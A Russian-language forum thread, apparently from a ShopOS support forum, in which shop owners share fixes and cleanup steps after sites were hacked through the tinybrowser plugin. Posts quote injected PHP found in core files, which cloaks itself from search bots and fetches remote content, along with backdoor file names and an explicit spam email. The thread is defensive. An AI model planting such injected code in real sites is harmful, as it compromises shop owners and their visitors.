|
Категории |
Важно! По безопасности!Как быстрый костыль $_config = dirname(dirname(dirname(dirname(dirname((dirname(dirname(__FILE__)))))))).'/config.php'; на $_config = dirname(dirname(dirname(dirname(dirname((dirname(dirname(__FILE__)))))))).'/includes/top.php'; Ниже заменить //$tinybrowser['sessioncheck'] = 'authenticated_user'; на $tinybrowser['sessioncheck'] = 'auth_user'; В файле admin\includes\top.php В самом низу, ПЕРЕД ?> вставить if (!isset($_SESSION['auth_user'])) { $_SESSION['auth_user'] = 'yes'; } ну и на выходе убивать сессию в файле logoff.php, ниже строки unset ($_SESSION['cc_id']); добавить unset ($_SESSION['auth_user']); После входа сессия с auth_user не создается. создается только после перехода в админку. Не понятно было почему не работает сессия там. Потом вспомнил, что шопос приписывает сессиям sess_тут_id_сессии. По этому просто заинклудил includes/top.php У меня вроде работает корректно. Если сделал что-то не правильно, то извиняйте. Как получилось. Второе Заглядывайте почаще в папки на сервере и ищите файлы подобные этому a14202d.php.25319. Особенно в папке images. Вид не обязательно может быть именно таким. Может быть название файла image_3w234_.php.324 или что-то подобное. Их нужно удалять, так как через них можно полностью управлять и сайтом и файлами и всем что там есть! Третье Просматривайте файлы index.php, admin/index.php на наличие изменения даты. Если дата другая чем у остальных файлов, то проверяйте и чистите код. Так же могут быть заражены и файлы account.php, product_info.php, includes/bottom.php.... В этих файлах находил сторонние коды Примеры "левого" кода <?php setCookie ("act","1",time()+3600*24*365,"/"); ?> <?php if(@$_COOKIE['act']!=1){ $u4ain=@file_get_contents ("http://......./lnk.php?c=utf&s="); echo $u4ain; } if(@$_COOKIE['act']!=1){ if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){ $u4ain=@file_get_contents ("http://......./test.php"); echo $u4ain; } } ?> Четвертое У тех, у кого под блоками везде в шаблоне выскакивает 404 - not found или тормозит сай, когда ранее такого не было В файле includes\lib\smarty\smarty.class.php Есть вредоносный код. А именно if(@$_COOKIE['act']!=1){ $u4ain=@file_get_contents ("http://....../lnk.php?c=utf&s=ВАШ_ДОМЕН_ТУТ"); $_smarty_results.=$u4ain; } if(@$_COOKIE['act']!=1){ if(getenv('HTTP_REFERER')!=""&&!stristr(getenv('HTTP_USER_AGENT'),"bot")&&!stristr(getenv('HTTP_USER_AGENT'),"google")&&!stristr(getenv('HTTP_USER_AGENT'),"yandex")){ $u4ain=@file_get_contents ("http://...../test.php"); $_smarty_results.=$u4ain; } } или что-то похожее. Как я понял вихаю гадости куда попало, главное, подальше от глаз. Если просмотрели все, но тормоза остались или яшя так же пишет, что есть вирус или еще что-то - сносим полностью скрипт оставляя только БД и заливаем новый подстраивая конфиг. Переустановить все просто Оставляем файл config.php, папки media, images, оставляя плагины и что там вы еще правили. Остальное перезаливаем полностью. То, что оставили config.php, папки media, images, оставляя плагины... так же проверяем досконально на наличие левого кода. левый код найти просто - сравнить размеры файлов оригинальных файлов и своих на сервере. если отличается, то там что-то левое есть. Процесс обновления 1 - делаем полный бекап сайта и базы. (день бекапа вроде седня, поздравляю ) 2 - удаляем все файлы и папки кроме: images, media, themes, config.php (вроде ничего не забыл) 3 - проверяем папочки и файл config.php на наличие левых файлов и кодов(чтобы быть уверенными, что ничего не осталось) 4 - берем чистый шопос(можно сразу с моим обновлением) и копируем от туда в корень все файлы и папки которых не достает 5 - выставляем права как было ранее(папка tmp, admin/backup и т.д..) 777(права на чтение\запись) 6 - ставим фикс из этого топика который выше, чтобы сразу перекрыть доступ. как-то так. Или скачиваем обновление из темы http://www.shopos.ru/forum/index.php?topic=6560.0 . Все работает. Если у вас с первого раза пишет "Вам требуется разрешение для просмотра этой страницы." попробуйте закрыть браузер и снова авторизоваться. Пожалуйста. Администраторы магазинов! нашел у себя в одном сайте a19737d.php.5055 , спасибо. У меня сразу все заработало, спасибо NeBox. дополнено Обновлено. Добавлен 4 пунк. Читать всем и проверять всем! NeBox'y, отдельное огромное спасибо! Пожалуйста! Прям какая-то атака на все магазины на шопосе... именно. уже вон куда забрались. в класс шаблонизатора. по этому всем нужно в срочном порядке делать обновления и проверки и ставить фикс для редактора, либо сносить его. завтра выложу поправленный плагин для контроля файлов. можно будет легко находить измененные файлы. Хотя сейчас он есть, но сырой и делался давно да еще и xtc версии http://www.shopos.ru/forum/index.php?topic=3981.msg20485#msg20485 Но он будет работать если файлы почистить сначала. Т.е. ему нужно сделать сначала как бы снимок того что есть, а потом уже проверять на изменения, если они были. так что тем у кого уже проблемы или хочет проверить на изменения - данный плагин будет бесполезен. Но это всё последствия. Неплохо бы найти причину... Как это можно сделать? Фикс в первом топике для причины. Да что-то мне нравиться теперь этот двиг все меньше и меньше. Вот что теперь делать? Вот тоже, 12 сайтов почистил все ок, а вот этот сайт не как не разблокируют =( И меня яндекс никак не разблокирует, хотя у меня на момент бана вирусов не было... Ребята, если у кого стал тормозить сайт - проделайте 4 пункт из первого топика! как правильней переустановить чтоб избавиться? Как понимаю примерно так: Похоже дырка конкретная есть. Не миновала и меня участь быть взломаным. В admin/includes обнаружил файлик посторонний upkk.php вот с таким содержимым: )); } ?> И еще файлик в admin/includes/javascript под названием json.js с дописанным в конце iframeом От греха удалил еще liveinternetовский счетчик с главной. Ругался антивирь на него. Не стал в коде разбираться. Может быть что-то и там поменяли. Сайт тормозил. После удаления лишнего полный порядок. Если сайт еще не заражен. Вроде... Ттт... снести admin\includes\javascript\tiny_mce\plugins\tinybrowser Должно хватить. более дыр не найдено вроде. А что там кулхацкеры находят - не известно) Nebox, а в моем случае костыль поможет? Я не очень понял, что делает код из файла upkk.php. Вроде как при каком-то условии создается папка kk с полным доступом. Сведущие люди подскажите. Да. поудаляйте левые файлы и поставьте хак. я удалил все уже как написано и все равно яндекс что-то недоволен. Интересно сколько теперь ждать? Может перезалить полностью скрипт? Может что-то осталось просто. Не всегда просто найти. Проверил еще раз. Как в вашем случае файлов не обнаружил. я удалил все уже как написано и все равно яндекс что-то недоволен. Интересно сколько теперь ждать? Может перезалить полностью скрипт? как перезальете, расскажите об своем успехе... ... жду и не дождусь, когда уже яндекс разбанит... Вне зависимости от перезаливки, Яндекс разбанит только после проверки сайта. А что мешает проверить сайт на вирусы online? Например, https://www.virustotal.com/ Мне вот стало чисто интересно, каким образом внедряется код. Установленные средства антивируса, файрволы и прочие прочие средства безопасности не обнаруживают код на стадии внедрения? Не может же он материализоваться ни с того ни с сего сам по себе! Утилиты м.б. какие то ставятся? Ну уж ни с сервера на котором скрипт крутится по сайтам же ходит народ, всяко от клиентов получается? Не уж то код такой не заметный при внедрении и умный, что сам внедряется без каких-либо телодвижений пользователя. Причем тут антивирусы и умный код? Код внедряется скриптами, на автомате скорее всего, ищет какие-то файлы определенные и правит их. Если есть доступ к файлам, то там дело это не хитрое. да, тоже пострадал от этого вируса, перезалил скрипты, поставил заплатку, яндекс уже 5 дней репу чешит, из-за него деньги теряю!!! все сделал, как написано, а вылезло Тоже обнаружил у себя вредоносный код в файле config.php сразу после <?php. YanXP79, ваша ошибка некоим образом не касается фикса из первого топика. Тоже обнаружил у себя вредоносный код в файле config.php сразу после <?php. Так что не обязательно все это может быть в конце файла или скрипта. Ага. Может быть где угодно. И в начале, и в середине и в конце. По этому желательно сравнивать файлы с оригиналами, если самому не получается найти. Вроде после установки фикса проблем не возникает более? . у вас ругается на поле в таблице в бд cc_cvv. что оно запрашивается, а там его нет. Видимо что-то ставили или наоборот удалили, так как cc_cvv должно быть в таблице os_orders. А как можно добавить эту строчку с cc_cvv??? В старой базе увидел колонку с названием cc_cvv. А как переместить??? Или добавить??? Пытаюсь сделать импорт столбца os_orders со старой базы, пишет: Ответ MySQL: Документация #1054 - Unknown column 'cc_cvv' in 'field list' Понимаю, что пишет, мол неизвестная колонка. А как её импортировать то??? делаю mysql запросы, чтобы добавить столбец 'cc_cvv' и ничего не получается. Как правильно добавлять??? Решил проблему, написав ); После входа сессия с auth_user не создается. создается только после перехода в админку. ............. а где этот logoff.php ???? ); После входа сессия с auth_user не создается. создается только после перехода в админку. ............. а где этот logoff.php ??? ? Смотрите корень сайта! лучше обновится http://www.shopos.ru/forum/index.php?topic=6560.0 Сегодня вырубили очередной мой сайт, написал супорту, в ответ Здравствуйте! >:( Ваша площадка была заблокирована за несанкционированную эл. рассылку, которая велась с Вашего аккаунта. Всего с Вашего аккаунта была отправлено около 20000 подобных писем. Если Вы согласны устранить данную рассылку с сайта, то мы вновь разблокируем доступ на площадку. Пример эл. письма из рассылки: Will you take your tour into shaggy vaginal and anal tunnels of fascinating blonde queen, who is obsessed with fishnet lingerie?! Trying to save sexuality and sensuality of her boobs, white slut with brilliant smile always puts on something semi-transparent, which will work as the teaser for the big cocks! After putting her back on the bed and raising legs fucking high, short thick stick hit her ass and pussy that are really close to each other. If you are willing to fuck some vagina then pull your cock a bit higher and make it go in without stopping. However if you are possessed with tough digging, then put your cock slightly lower and push it in with the maximum power that you have! Everything goes smooth, except pleasant smile on the face of blonde foxy. That fucking smile makes everyone believe that she is not cared about what is drilling her holes. However she really likes being fucked like never before! Заметил,что приблизительно 20 марта - в примерный день заражения вирусом,на сайте у меня зарегистрировалось около пяти "мутных покупателей",то есть вместо имён,фамилий и адресов были указаны подозрительные ссылки и коды. Смотрите корень сайта! Спасибо... Слепну, наверное... :) Сегодня нашел в папке cache одну паку, название fu ;D , и еще в папке cache/system было 1.php Сегодня вырубили очередной мой сайт, написал супорту, в ответ Ждать перепроверки пришлось 10 дней... Здравствуйте. номер меняться и не должен. У меня вообще выдает, что сайт заражен трояном...посмотрел на сервере изменены все яваскриптовые файлы...что делать? у меня вообще еще версия 2.5.8 стоит... все сделал. Все работает, спасибо. Но очень не удобно что нельзя картинку вставить не на одной информационной странице сайта. Есть какое-то решение??? все сделал. Все работает, спасибо. Но очень не удобно что нельзя картинку вставить не на одной информационной странице сайта. Есть какое-то решение??? Конечно есть. http://www.shopos.ru/forum/index.php?topic=6560.0 установить обновление 2.5.9.2 Хотя картинка должна вставляться нормально и со старым редакторов и фиксом. поймал вирус на сайт, удалил всё файлы кроме config.php, папки media, images и themes проблема пропала, но сейчас грузится только главная страница и админка. Ни в какой товар зайти не могу пишет А что ж Вы ожидали после удаления большинства файлов? Что все будет работать? У вас из за чпу не работает, включите плагин чпу и удалите все чпу ссылки, а патом обратно! Сделал все процедуры как написано в первом топике, вроде все почистил. Реально прошел час с момента изменения. по всей видимости нет связи с базой данных. :( Ухищрения с заплатками не дали действенного результата сегодня обнаружил повторное заражение. На этот раз выскакивала ошибка под блоками. Вылечилось заменой smarty.class.php . Что странно дата создания не была изменена. Просто отличался размером. Код из первого поста обнаружен не был. Склоняюсь уже к мысли, что зря купил движок. Надо на что-то более безопасное переходить. Надо на что-то более безопасное переходить. Похоже проект умирает.. Серьезных обновлений не было давно, вот и находят всякие дырки. Дырки не только в шопосе, а во всех скриптах которые использовали редактор tiny_mce с плагином tinybrowser Ухищрения с заплатками не дали действенного результата сегодня обнаружил повторное заражение. На этот раз выскакивала ошибка под блоками. Вылечилось заменой smarty.class.php . Что странно дата создания не была изменена. Просто отличался размером. Код из первого поста обнаружен не был. Склоняюсь уже к мысли, что зря купил движок. Надо на что-то более безопасное переходить. Вообще, чтобы быть уверенным, что результата не дало, нужно провести анализ логов и выяснить кто к каким файлам обращался. Возможно код был внедрен ранее. И что значит безопаснее? Одна дыра а крику.... Тем более, что решение уже есть и оно действенное. Лучше переустанавливать. Кто знает что и в какие файлы еще напихали. вот еще в config.php бывает, недавно у себя обнаружил Если установил движок магазина сразу по ссылке на версию 2.5.9.2FREE, то больше ничего обновлять не надо? Дата создания основных папок указана 26.03.2012. В админке пишет, что версия 2.5.9 больше ничего делать не нужно будет. в архивах все правки уже есть. Кстати, ограниченый доступ к админке никто не отменял: Order allow,deny Allow from 127.0.0.1 Allow from ip_admina // Заменить на свои Allow from ip_admina Allow from ip_admina Allow from ip_admina Allow from ip_admina Allow from 172.16.0.0/16 У меня в Вебмастере Гугла Сканирование/ошибки сканирования есть ссылки с ошибкой 403 зашел ради интереса на них вид(http://мойсайт.ru/index.php?page=social_send&social=23&url=http://tabakest.ru/starbuzz-kola.html&title=Starbuzz%20%D0%9A%D0%BE%D0%BB%D0%B0) перебрасывает на другой сайт по ФТП рыскал нечего не нашел. обнаружил у себя вредоносный код в папке image, эх. некая массовая рассылка. может CHMOD можно на какие-то папки понизить? все стоит по рекомендациям по файлу readme Усем привет! |
|
|